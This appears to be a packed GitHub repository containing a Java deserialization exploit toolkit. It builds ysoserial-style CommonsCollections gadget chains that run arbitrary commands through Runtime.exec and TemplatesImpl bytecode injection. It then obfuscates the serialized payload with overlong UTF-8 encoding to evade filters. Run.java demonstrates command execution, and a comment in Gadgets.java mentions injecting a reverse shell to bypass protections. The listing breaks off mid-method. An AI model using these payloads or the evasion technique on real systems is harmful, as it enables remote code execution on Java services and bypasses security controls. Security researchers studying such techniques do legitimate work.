├── attachments ├── image-20240311100317285.png └── image-20240311100348330.png ├── README.md ├── src └── main │ └── java │ └── com │ └── ppp │ ├── utils │ ├── Deserializer.java │ ├── ClassFiles.java │ ├── Serializer.java │ ├── Reflections.java │ └── Gadgets.java │ ├── CommonsCollections2.java │ ├── Run.java │ ├── CommonsCollections1.java │ ├── UTF8OverlongObjectOutputStream.java │ └── UTF8BytesMix.java └── pom.xml /attachments/image-20240311100317285.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whoopsunix/utf-8-overlong-encoding/HEAD/attachments/image-20240311100317285.png -------------------------------------------------------------------------------- /attachments/image-20240311100348330.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Whoopsunix/utf-8-overlong-encoding/HEAD/attachments/image-20240311100348330.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # utf-8-overlong-encoding 2 | 3 | By. Whoopsunix 4 | 5 | 抽离出 utf-8-overlong-encoding 的序列化逻辑,直接加密序列化数组, WIKI https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ 6 | 7 | 2、3 字节的加密都已实现,修改 com.ppp.UTF8BytesMix.type 属性值更改。 8 | 9 | 2 字节 10 | 11 | ![image-20240311100317285](attachments/image-20240311100317285.png) 12 | 13 | 3 字节 14 | 15 | ![image-20240311100348330](attachments/image-20240311100348330.png) 16 | -------------------------------------------------------------------------------- /src/main/java/com/ppp/utils/Deserializer.java: -------------------------------------------------------------------------------- 1 | package com.ppp.utils; 2 | 3 | import java.io.*; 4 | import java.util.concurrent.Callable; 5 | 6 | public class Deserializer implements Callable { 7 | private final byte[] bytes; 8 | 9 | public Deserializer(byte[] bytes) { this.bytes = bytes; } 10 | 11 | public Object call() throws Exception { 12 | return deserialize(bytes); 13 | } 14 | 15 | public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { 16 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized); 17 | return deserialize(in); 18 | } 19 | 20 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { 21 | final ObjectInputStream objIn = new ObjectInputStream(in); 22 | return objIn.readObject(); 23 | } 24 | 25 | public static void main(String[] args) throws ClassNotFoundException, IOException { 26 | final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); 27 | Object object = deserialize(in); 28 | } 29 | } -------------------------------------------------------------------------------- /src/main/java/com/ppp/CommonsCollections2.java: -------------------------------------------------------------------------------- 1 | package com.ppp; 2 | 3 | import com.ppp.utils.Gadgets; 4 | import com.ppp.utils.Reflections; 5 | import org.apache.commons.collections4.comparators.TransformingComparator; 6 | import org.apache.commons.collections4.functors.InvokerTransformer; 7 | 8 | import java.util.PriorityQueue; 9 | import java.util.Queue; 10 | 11 | 12 | public class CommonsCollections2 { 13 | 14 | public Queue getObject(final String command) throws Exception { 15 | final Object templates = Gadgets.createTemplatesImpl(command); 16 | // mock method name until armed 17 | final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 18 | 19 | // create queue with numbers and basic comparator 20 | final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); 21 | // stub data for replacement later 22 | queue.add(1); 23 | queue.add(1); 24 | 25 | // switch method called by comparator 26 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 27 | 28 | // switch contents of queue 29 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 30 | queueArray[0] = templates; 31 | queueArray[1] = 1; 32 | 33 | return queue; 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/com/ppp/Run.java: -------------------------------------------------------------------------------- 1 | package com.ppp; 2 | 3 | import com.ppp.utils.Deserializer; 4 | import com.ppp.utils.Serializer; 5 | 6 | import java.io.ByteArrayOutputStream; 7 | 8 | /** 9 | * @author Whoopsunix 10 | */ 11 | public class Run { 12 | public static void main(String[] args) throws Exception { 13 | /** 14 | * 原始 15 | */ 16 | Object gadget = new CommonsCollections1().getObject("open -a Calculator.app"); 17 | byte[] originalBytes = Serializer.serialize(gadget); 18 | System.out.println("---original---"); 19 | print(originalBytes); 20 | 21 | /** 22 | * 1ue demo 23 | */ 24 | byte[] UEBytes = Serializer.serializeCustom(gadget); 25 | System.out.println("\n\n\n---1ue---"); 26 | print(UEBytes); 27 | 28 | 29 | System.out.println("\n\n\n---mix---"); 30 | byte[] mixBytes = new UTF8BytesMix(Serializer.serialize(gadget)).builder(); 31 | print(mixBytes); 32 | Deserializer.deserialize(mixBytes); 33 | } 34 | 35 | 36 | public static void print(byte[] bytes) { 37 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 38 | for (byte b : bytes) { 39 | out.write(b); 40 | } 41 | System.out.println("byte length:" + bytes.length); 42 | System.out.println(out); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/ppp/utils/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package com.ppp.utils; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(final Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/ppp/utils/Serializer.java: -------------------------------------------------------------------------------- 1 | package com.ppp.utils; 2 | 3 | import com.ppp.UTF8OverlongObjectOutputStream; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.IOException; 7 | import java.io.ObjectOutputStream; 8 | import java.io.OutputStream; 9 | import java.util.concurrent.Callable; 10 | 11 | public class Serializer implements Callable { 12 | private final Object object; 13 | public Serializer(Object object) { 14 | this.object = object; 15 | } 16 | 17 | public byte[] call() throws Exception { 18 | return serialize(object); 19 | } 20 | 21 | public static byte[] serialize(final Object obj) throws IOException { 22 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 23 | serialize(obj, out); 24 | return out.toByteArray(); 25 | } 26 | 27 | public static void serialize(final Object obj, final OutputStream out) throws IOException { 28 | final ObjectOutputStream objOut = new ObjectOutputStream(out); 29 | objOut.writeObject(obj); 30 | } 31 | 32 | public static byte[] serializeCustom(final Object obj) throws IOException { 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | serializeCustom(obj, out); 35 | return out.toByteArray(); 36 | } 37 | 38 | public static void serializeCustom(final Object obj, final OutputStream out) throws IOException { 39 | final ObjectOutputStream objOut = new UTF8OverlongObjectOutputStream(out); 40 | objOut.writeObject(obj); 41 | } 42 | 43 | } -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | com.ppp 6 | utf-8-overlong-encoding 7 | 1.0 8 | jar 9 | 10 | utf-8-overlong-encoding 11 | 12 | 13 | UTF-8 14 | 15 | 16 | 17 | 18 | javassist 19 | javassist 20 | 3.12.0.GA 21 | 22 | 23 | commons-collections 24 | commons-collections 25 | 3.1 26 | 27 | 28 | org.beanshell 29 | bsh 30 | 2.0b5 31 | 32 | 33 | commons-beanutils 34 | commons-beanutils 35 | 1.9.2 36 | 37 | 38 | org.apache.commons 39 | commons-collections4 40 | 4.0 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /src/main/java/com/ppp/CommonsCollections1.java: -------------------------------------------------------------------------------- 1 | package com.ppp; 2 | 3 | import com.ppp.utils.Gadgets; 4 | import com.ppp.utils.Reflections; 5 | import org.apache.commons.collections.Transformer; 6 | import org.apache.commons.collections.functors.ChainedTransformer; 7 | import org.apache.commons.collections.functors.ConstantTransformer; 8 | import org.apache.commons.collections.functors.InvokerTransformer; 9 | import org.apache.commons.collections.map.LazyMap; 10 | 11 | import java.lang.reflect.InvocationHandler; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | public class CommonsCollections1 { 16 | public InvocationHandler getObject(final String command) throws Exception { 17 | final String[] execArgs = new String[] { command }; 18 | // inert chain for setup 19 | final Transformer transformerChain = new ChainedTransformer( 20 | new Transformer[]{ new ConstantTransformer(1) }); 21 | // real chain for after setup 22 | final Transformer[] transformers = new Transformer[] { 23 | new ConstantTransformer(Runtime.class), 24 | new InvokerTransformer("getMethod", new Class[] { 25 | String.class, Class[].class }, new Object[] { 26 | "getRuntime", new Class[0] }), 27 | new InvokerTransformer("invoke", new Class[] { 28 | Object.class, Object[].class }, new Object[] { 29 | null, new Object[0] }), 30 | new InvokerTransformer("exec", 31 | new Class[] { String.class }, execArgs), 32 | new ConstantTransformer(1) }; 33 | 34 | final Map innerMap = new HashMap(); 35 | 36 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 37 | 38 | final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); 39 | 40 | final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 41 | 42 | Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain 43 | 44 | return handler; 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/com/ppp/utils/Reflections.java: -------------------------------------------------------------------------------- 1 | package com.ppp.utils; 2 | 3 | import sun.reflect.ReflectionFactory; 4 | 5 | import java.lang.reflect.AccessibleObject; 6 | import java.lang.reflect.Constructor; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.InvocationTargetException; 9 | 10 | public class Reflections { 11 | 12 | public static void setAccessible(AccessibleObject member) { 13 | String versionStr = System.getProperty("java.version"); 14 | int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]); 15 | member.setAccessible(true); 16 | } 17 | 18 | public static Field getField(final Class clazz, final String fieldName) { 19 | Field field = null; 20 | try { 21 | field = clazz.getDeclaredField(fieldName); 22 | setAccessible(field); 23 | } 24 | catch (NoSuchFieldException ex) { 25 | if (clazz.getSuperclass() != null) 26 | field = getField(clazz.getSuperclass(), fieldName); 27 | } 28 | return field; 29 | } 30 | 31 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 32 | final Field field = getField(obj.getClass(), fieldName); 33 | field.set(obj, value); 34 | } 35 | 36 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 37 | final Field field = getField(obj.getClass(), fieldName); 38 | return field.get(obj); 39 | } 40 | 41 | public static Constructor getFirstCtor(final String name) throws Exception { 42 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 43 | setAccessible(ctor); 44 | return ctor; 45 | } 46 | 47 | public static Object newInstance(String className, Object ... args) throws Exception { 48 | return getFirstCtor(className).newInstance(args); 49 | } 50 | 51 | public static T createWithoutConstructor ( Class classToInstantiate ) 52 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 53 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 54 | } 55 | 56 | @SuppressWarnings ( {"unchecked"} ) 57 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) 58 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 59 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 60 | setAccessible(objCons); 61 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 62 | setAccessible(sc); 63 | return (T)sc.newInstance(consArgs); 64 | } 65 | 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/com/ppp/UTF8OverlongObjectOutputStream.java: -------------------------------------------------------------------------------- 1 | package com.ppp; 2 | 3 | import com.ppp.utils.Reflections; 4 | 5 | import java.io.*; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.Method; 8 | import java.util.HashMap; 9 | 10 | /** 11 | * 1ue demo 12 | */ 13 | 14 | public class UTF8OverlongObjectOutputStream extends ObjectOutputStream { 15 | public static HashMap map = new HashMap() {{ 16 | put('.', new int[]{0xc0, 0xae}); 17 | put(';', new int[]{0xc0, 0xbb}); 18 | put('$', new int[]{0xc0, 0xa4}); 19 | put('[', new int[]{0xc1, 0x9b}); 20 | put(']', new int[]{0xc1, 0x9d}); 21 | put('a', new int[]{0xc1, 0xa1}); 22 | put('b', new int[]{0xc1, 0xa2}); 23 | put('c', new int[]{0xc1, 0xa3}); 24 | put('d', new int[]{0xc1, 0xa4}); 25 | put('e', new int[]{0xc1, 0xa5}); 26 | put('f', new int[]{0xc1, 0xa6}); 27 | put('g', new int[]{0xc1, 0xa7}); 28 | put('h', new int[]{0xc1, 0xa8}); 29 | put('i', new int[]{0xc1, 0xa9}); 30 | put('j', new int[]{0xc1, 0xaa}); 31 | put('k', new int[]{0xc1, 0xab}); 32 | put('l', new int[]{0xc1, 0xac}); 33 | put('m', new int[]{0xc1, 0xad}); 34 | put('n', new int[]{0xc1, 0xae}); 35 | put('o', new int[]{0xc1, 0xaf}); // 0x6f 36 | put('p', new int[]{0xc1, 0xb0}); 37 | put('q', new int[]{0xc1, 0xb1}); 38 | put('r', new int[]{0xc1, 0xb2}); 39 | put('s', new int[]{0xc1, 0xb3}); 40 | put('t', new int[]{0xc1, 0xb4}); 41 | put('u', new int[]{0xc1, 0xb5}); 42 | put('v', new int[]{0xc1, 0xb6}); 43 | put('w', new int[]{0xc1, 0xb7}); 44 | put('x', new int[]{0xc1, 0xb8}); 45 | put('y', new int[]{0xc1, 0xb9}); 46 | put('z', new int[]{0xc1, 0xba}); 47 | put('A', new int[]{0xc1, 0x81}); 48 | put('B', new int[]{0xc1, 0x82}); 49 | put('C', new int[]{0xc1, 0x83}); 50 | put('D', new int[]{0xc1, 0x84}); 51 | put('E', new int[]{0xc1, 0x85}); 52 | put('F', new int[]{0xc1, 0x86}); 53 | put('G', new int[]{0xc1, 0x87}); 54 | put('H', new int[]{0xc1, 0x88}); 55 | put('I', new int[]{0xc1, 0x89}); 56 | put('J', new int[]{0xc1, 0x8a}); 57 | put('K', new int[]{0xc1, 0x8b}); 58 | put('L', new int[]{0xc1, 0x8c}); 59 | put('M', new int[]{0xc1, 0x8d}); 60 | put('N', new int[]{0xc1, 0x8e}); 61 | put('O', new int[]{0xc1, 0x8f}); 62 | put('P', new int[]{0xc1, 0x90}); 63 | put('Q', new int[]{0xc1, 0x91}); 64 | put('R', new int[]{0xc1, 0x92}); 65 | put('S', new int[]{0xc1, 0x93}); 66 | put('T', new int[]{0xc1, 0x94}); 67 | put('U', new int[]{0xc1, 0x95}); 68 | put('V', new int[]{0xc1, 0x96}); 69 | put('W', new int[]{0xc1, 0x97}); 70 | put('X', new int[]{0xc1, 0x98}); 71 | put('Y', new int[]{0xc1, 0x99}); 72 | put('Z', new int[]{0xc1, 0x9a}); 73 | }}; 74 | 75 | public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException { 76 | super(out); 77 | } 78 | 79 | @Override 80 | protected void writeClassDescriptor(ObjectStreamClass desc) { 81 | try { 82 | String name = desc.getName(); 83 | // writeUTF(desc.getName()); 84 | writeShort(name.length() * 2); 85 | for (int i = 0; i < name.length(); i++) { 86 | char s = name.charAt(i); 87 | // System.out.println(s); 88 | write(map.get(s)[0]); 89 | write(map.get(s)[1]); 90 | } 91 | writeLong(desc.getSerialVersionUID()); 92 | byte flags = 0; 93 | if ((Boolean) Reflections.getFieldValue(desc, "externalizable")) { 94 | flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; 95 | Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol"); 96 | protocolField.setAccessible(true); 97 | int protocol = (Integer) protocolField.get(this); 98 | if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { 99 | flags |= ObjectStreamConstants.SC_BLOCK_DATA; 100 | } 101 | } else if ((Boolean) Reflections.getFieldValue(desc, "serializable")) { 102 | flags |= ObjectStreamConstants.SC_SERIALIZABLE; 103 | } 104 | if ((Boolean) Reflections.getFieldValue(desc, "hasWriteObjectData")) { 105 | flags |= ObjectStreamConstants.SC_WRITE_METHOD; 106 | } 107 | if ((Boolean) Reflections.getFieldValue(desc, "isEnum")) { 108 | flags |= ObjectStreamConstants.SC_ENUM; 109 | } 110 | writeByte(flags); 111 | ObjectStreamField[] fields = (ObjectStreamField[]) Reflections.getFieldValue(desc, "fields"); 112 | writeShort(fields.length); 113 | for (int i = 0; i < fields.length; i++) { 114 | ObjectStreamField f = fields[i]; 115 | writeByte(f.getTypeCode()); 116 | writeUTF(f.getName()); 117 | if (!f.isPrimitive()) { 118 | Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class); 119 | writeTypeString.setAccessible(true); 120 | writeTypeString.invoke(this, f.getTypeString()); 121 | // writeTypeString(f.getTypeString()); 122 | } 123 | } 124 | } catch (Exception e) { 125 | e.printStackTrace(); 126 | } 127 | } 128 | } 129 | -------------------------------------------------------------------------------- /src/main/java/com/ppp/utils/Gadgets.java: -------------------------------------------------------------------------------- 1 | package com.ppp.utils; 2 | 3 | 4 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 5 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 6 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 7 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 8 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 9 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 10 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 11 | import javassist.ClassClassPath; 12 | import javassist.ClassPool; 13 | import javassist.CtClass; 14 | 15 | import java.io.Serializable; 16 | import java.lang.reflect.*; 17 | import java.util.HashMap; 18 | import java.util.Map; 19 | 20 | import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; 21 | 22 | 23 | /* 24 | * utility generator functions for common jdk-only gadgets 25 | */ 26 | @SuppressWarnings ( { 27 | "restriction", "rawtypes", "unchecked" 28 | } ) 29 | public class Gadgets { 30 | 31 | static { 32 | // special case for using TemplatesImpl gadgets with a SecurityManager enabled 33 | System.setProperty(DESERIALIZE_TRANSLET, "true"); 34 | 35 | // for RMI remote loading 36 | System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 37 | } 38 | 39 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 40 | 41 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 42 | 43 | private static final long serialVersionUID = -5971610431559700674L; 44 | 45 | 46 | public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} 47 | 48 | 49 | @Override 50 | public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} 51 | } 52 | 53 | // required to make TemplatesImpl happy 54 | public static class Foo implements Serializable { 55 | 56 | private static final long serialVersionUID = 8207363842866235160L; 57 | } 58 | 59 | 60 | public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { 61 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); 62 | } 63 | 64 | 65 | public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { 66 | return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 67 | } 68 | 69 | 70 | public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { 71 | final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); 72 | allIfaces[ 0 ] = iface; 73 | if ( ifaces.length > 0 ) { 74 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); 75 | } 76 | return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); 77 | } 78 | 79 | 80 | public static Map createMap ( final String key, final Object val ) { 81 | final Map map = new HashMap(); 82 | map.put(key, val); 83 | return map; 84 | } 85 | 86 | 87 | public static Object createTemplatesImpl ( final String command ) throws Exception { 88 | if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { 89 | return createTemplatesImpl( 90 | command, 91 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 92 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 93 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); 94 | } 95 | 96 | return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); 97 | } 98 | 99 | 100 | public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) 101 | throws Exception { 102 | final T templates = tplClass.newInstance(); 103 | 104 | // use template gadget class 105 | ClassPool pool = ClassPool.getDefault(); 106 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 107 | pool.insertClassPath(new ClassClassPath(abstTranslet)); 108 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 109 | // run command in static initializer 110 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 111 | String cmd = "java.lang.Runtime.getRuntime().exec(\"" + 112 | command.replace("\\", "\\\\").replace("\"", "\\\"") + 113 | "\");"; 114 | clazz.makeClassInitializer().insertAfter(cmd); 115 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 116 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 117 | CtClass superC = pool.get(abstTranslet.getName()); 118 | clazz.setSuperclass(superC); 119 | 120 | final byte[] classBytes = clazz.toBytecode(); 121 | 122 | // inject class bytes into instance 123 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { 124 | classBytes, ClassFiles.classAsBytes(Foo.class) 125 | }); 126 | 127 | // required to make TemplatesImpl happy 128 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 129 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 130 | return templates; 131 | } 132 | 133 | 134 | public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, 135 | IllegalAccessException, InvocationTargetException { 136 | HashMap s = new HashMap(); 137 | Reflections.setFieldValue(s, "size", 2); 138 | Class nodeC; 139 | try { 140 | nodeC = Class.forName("java.util.HashMap$Node"); 141 | } 142 | catch ( ClassNotFoundException e ) { 143 | nodeC = Class.forName("java.util.HashMap$Entry"); 144 | } 145 | Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); 146 | Reflections.setAccessible(nodeCons); 147 | 148 | Object tbl = Array.newInstance(nodeC, 2); 149 | Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); 150 | Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); 151 | Reflections.setFieldValue(s, "table", tbl); 152 | return s; 153 | } 154 | } 155 | -------------------------------------------------------------------------------- /src/main/java/com/ppp/UTF8BytesMix.java: -------------------------------------------------------------------------------- 1 | package com.ppp; 2 | 3 | /** 4 | * @author Whoopsunix 5 | *

6 | * UTF-8 混淆 7 | */ 8 | public class UTF8BytesMix { 9 | 10 | public static byte[] resultBytes = new byte[0]; 11 | public static byte[] originalBytes = new byte[0]; 12 | 13 | // 加密字节位数 14 | public static int type = 2; //3 15 | 16 | // 原 byte[] 坐标 17 | public static int index = 0; 18 | 19 | final static byte TC_CLASSDESC = (byte) 0x72; 20 | final static byte TC_PROXYCLASSDESC = (byte) 0x7d; 21 | final static byte TC_STRING = (byte) 0x74; 22 | final static byte TC_REFERENCE = (byte) 0x71; 23 | final static byte TC_LONGSTRING = (byte) 0x7C; 24 | final static byte TC_ARRAY = (byte) 0x75; 25 | final static byte TC_ENDBLOCKDATA = (byte) 0x78; 26 | final static byte TC_NULL = (byte) 0x70; 27 | 28 | 29 | final static byte Byte = (byte) 0x42; 30 | final static byte Char = (byte) 0x43; 31 | final static byte Double = (byte) 0x44; 32 | final static byte Float = (byte) 0x46; 33 | final static byte Integer = (byte) 0x49; 34 | final static byte Long = (byte) 0x4a; 35 | final static byte Object_L = (byte) 0x4c; 36 | final static byte Short = (byte) 0x53; 37 | final static byte Boolean = (byte) 0x5a; 38 | final static byte Array = (byte) 0x5b; 39 | 40 | 41 | public UTF8BytesMix(byte[] originalBytes) { 42 | this.originalBytes = originalBytes; 43 | } 44 | 45 | public static byte[] builder() { 46 | while (index < originalBytes.length) { 47 | byte b = originalBytes[index]; 48 | byteAdd(b); 49 | 50 | if (b == TC_CLASSDESC) { 51 | changeTC_CLASSDESC(); 52 | } else if (b == TC_PROXYCLASSDESC) { 53 | changeTC_PROXYCLASSDESC(); 54 | } else if (b == TC_STRING) { 55 | changeTC_STRING(); 56 | } 57 | 58 | index++; 59 | } 60 | return resultBytes; 61 | } 62 | 63 | public static void changeTC_PROXYCLASSDESC() { 64 | int interfaceCount = ((originalBytes[index + 1] & 0xFF) << 24) | 65 | ((originalBytes[index + 2] & 0xFF) << 16) | 66 | ((originalBytes[index + 3] & 0xFF) << 8) | 67 | (originalBytes[index + 4] & 0xFF); 68 | if (interfaceCount > 0xff || interfaceCount < 0x00) 69 | return; 70 | 71 | for (int i = 0; i < 4; i++) { 72 | byteAdd(originalBytes[index + 1]); 73 | index++; 74 | } 75 | 76 | int length = ((originalBytes[index + 1] & 0xFF) << 8) | (originalBytes[index + 2] & 0xFF); 77 | byte[] originalValue = new byte[length]; 78 | System.arraycopy(originalBytes, index + 3, originalValue, 0, length); 79 | index += 3 + length; 80 | 81 | encode(originalValue, type); 82 | index--; 83 | } 84 | 85 | 86 | public static boolean changeTC_CLASSDESC() { 87 | /** 88 | * 类信息 89 | */ 90 | boolean isTC_CLASSDESC = changeTC_STRING(); 91 | if (!isTC_CLASSDESC) { 92 | return false; 93 | } 94 | index++; 95 | 96 | /** 97 | * SerialVersionUID + ClassDescFlags 98 | */ 99 | byte[] serialVersionUID = new byte[9]; 100 | System.arraycopy(originalBytes, index, serialVersionUID, 0, 9); 101 | for (int i = 0; i < serialVersionUID.length; i++) { 102 | byteAdd(serialVersionUID[i]); 103 | } 104 | index += 9; 105 | 106 | /** 107 | * FieldCount 108 | */ 109 | byte[] fieldCount = new byte[2]; 110 | System.arraycopy(originalBytes, index, fieldCount, 0, 2); 111 | for (int i = 0; i < fieldCount.length; i++) { 112 | byteAdd(fieldCount[i]); 113 | } 114 | int fieldCounts = ((fieldCount[0] & 0xFF) << 8) | (fieldCount[1] & 0xFF); 115 | index += 2; 116 | 117 | for (int i = 0; i < fieldCounts; i++) { 118 | boolean isFiledOver = false; 119 | 120 | /** 121 | * FieldName 122 | */ 123 | if (originalBytes[index] == Byte 124 | || originalBytes[index] == Char 125 | || originalBytes[index] == Double 126 | || originalBytes[index] == Float 127 | || originalBytes[index] == Integer 128 | || originalBytes[index] == Long 129 | || originalBytes[index] == Object_L 130 | || originalBytes[index] == Short 131 | || originalBytes[index] == Boolean 132 | || originalBytes[index] == Array) { 133 | // Object 134 | byteAdd(originalBytes[index]); 135 | index++; 136 | 137 | int fieldLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); 138 | byte[] originalFieldName = new byte[fieldLength]; 139 | System.arraycopy(originalBytes, index + 2, originalFieldName, 0, fieldLength); 140 | index += 2 + fieldLength; 141 | encode(originalFieldName, type); 142 | } 143 | 144 | /** 145 | * Class Name 146 | * 147 | * 也规避了这种情况 148 | * Index 0: 149 | * Integer - I - 0x49 150 | * @FieldName 151 | * @Length - 4 - 0x00 04 152 | * @Value - size - 0x73 69 7a 65 153 | */ 154 | // TC_STRING 0x74 155 | if (originalBytes[index] == TC_STRING) { 156 | 157 | byteAdd(originalBytes[index]); 158 | index++; 159 | 160 | int classLength = ((originalBytes[index] & 0xFF) << 8) | (originalBytes[index + 1] & 0xFF); 161 | byte[] originalClassName = new byte[classLength]; 162 | System.arraycopy(originalBytes, index + 2, originalClassName, 0, classLength); 163 | index += 2 + classLength; 164 | encode(originalClassName, type); 165 | isFiledOver = true; 166 | } else if (originalBytes[index] == TC_REFERENCE) { 167 | /** 168 | * Index 0: 169 | * Object - L - 0x4c 170 | * @FieldName 171 | * @Length - 9 - 0x00 09 172 | * @Value - decorated - 0x64 65 63 6f 72 61 74 65 64 173 | * @ClassName 174 | * TC_REFERENCE - 0x71 175 | * @Handler - 8257537 - 0x00 7e 00 01 176 | */ 177 | byte[] reference = new byte[5]; 178 | System.arraycopy(originalBytes, index, reference, 0, 5); 179 | for (int j = 0; j < reference.length; j++) { 180 | byteAdd(reference[j]); 181 | } 182 | index += 5; 183 | isFiledOver = true; 184 | } 185 | 186 | // todo 看看其他可能未识别到的类型 187 | // if(i < fieldCounts - 1 && !isFiledOver) { 188 | // while (true) { 189 | // if (!isField(originalBytes, index)) { 190 | // byteAdd(originalBytes[index]); 191 | // index++; 192 | // } else { 193 | // break; 194 | // } 195 | // } 196 | // } 197 | 198 | } 199 | 200 | // 循环需要 201 | index--; 202 | return true; 203 | } 204 | 205 | public static boolean changeTC_STRING() { 206 | int length = ((originalBytes[index + 1] & 0xFF) << 8) | (originalBytes[index + 2] & 0xFF); 207 | // 